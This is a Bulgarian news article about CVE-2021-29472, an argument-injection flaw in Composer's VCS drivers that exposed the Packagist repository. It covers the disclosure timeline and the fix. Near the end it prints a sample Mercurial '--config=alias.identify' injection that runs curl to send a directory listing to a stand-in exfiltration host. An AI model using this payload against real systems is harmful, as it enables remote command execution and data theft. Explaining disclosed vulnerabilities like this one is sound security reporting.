Уязвимост в пакетния мениджър Composer, която позволява компрометиране на PHP репозиторито Packagist

В мениджъра на зависимости Composer е открита критична уязвимост (CVE-2021-29472), която позволява изпълняването на произволни команди в системата при обработка на пакет с особено оформена стойност на URL, определящ адреса за изтегляне на източниците. Проблемът се проявява в компонентите GitDriver, SvnDriver и HgDriver, използвани при системите за контрол на версии Git, Subversion и Mercurial. Уязвимостта е отстранена в версиите на Composer 1.10.22 и 2.0.13.

Особено важно е да се отбележи, че проблемът основно е засегнал по подразбиране използвания в Composer пакетен репозиторий Packagist, който включва 306 хиляди пакета за разработчици на PHP и обслужва повече от 1.4 милиарда изтегляния месечно. В хода на експеримент бе показано, че при наличие на информация за проблема атакуващите биха могли да получат контрол над инфраструктурата на Packagist и да прихванат данните за вход на администраторите или да пренасочат изтеглянето на пакети към трети сървър, осигурявайки доставка на извратени версии на пакети с злонамерени промени за внедряване на бекдор по време на инсталацията на зависимостите.

Опасността за крайните потребители е ограничена, тъй като съдържанието на composer.json обикновено се определя от самия потребител, а линковете към източниците се предават при достъп до трети репозитории, обикновено считани за надеждни. Основният удар е по репозитория Packagist.org и услугата Private Packagist, които извикват Composer с предаване на данни, получени от потребителите. Злонамерените лица могат да изпълнят своя код на сървърите на Packagist, като разположат специално оформен пакет.

Екипът на Packagist отстрани уязвимостта в рамките на 12 часа след докладването ѝ. Изследователите уведомиха разработчиците на Packagist на 22 април и в същия ден проблемът беше решен. Публичното обновление на Composer с отстраняване на уязвимостта беше публикувано на 27 април, а детайлите бяха разкрити на 28 април. Аудитът на логовете на сървърите на Packagist не показа свързана с уязвимостта подозрителна активност.

Проблемата е причинена от грешка в кода за верифициране на URL в основния файл composer.json и линковете за изтегляне на изходния код. Грешката е налична в кода от ноември 2011 година. В Packagist се използват специални слоеве за организиране на изтеглянето на кода без зависимост от конкретна система за управление на изходния код, които се изпълняват чрез извикване на „fromShellCommandline“ с предаване на аргументи от командния ред. Например, за git се извиква команда „git ls-remote —heads $URL“, където URL е обработен с метода „ProcessExecutor::escape($url)“, който екранира потенциално опасни конструкции, като „$(…)“ или „`…`“.

Същността на проблема е, че методът ProcessExecutor::escape не е екранирал последователността „—“, което е дало възможност за указване на всеки допълнителен параметър в URL. Такова екраниране е липсвало в драйверите GitDriver.php, SvnDriver.php и HgDriver.php. На атаката през GitDriver.php е попречило това, че командата „git ls-remote“ не поддържа указването на допълнителни аргументи след пътя. Възможна е атака на HgDriver.php чрез предаване на параметъра „—config“ на утилитата „hq“, което позволява изпълнението на всяка команда чрез манипулация с конфигурацията „alias.identify“. Например, за изтегляне и изпълнение на кода чрез стартиране на утилитата curl може да се укаже: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Разположили в Packagist тестов пакет с подобен URL, изследователите установили, че след разполагането на техния сървър е получен HTTP-запит от един от сървъри Packagist в AWS, съдържащ списък с файлове в текущата директория.

Източник: opennet.ru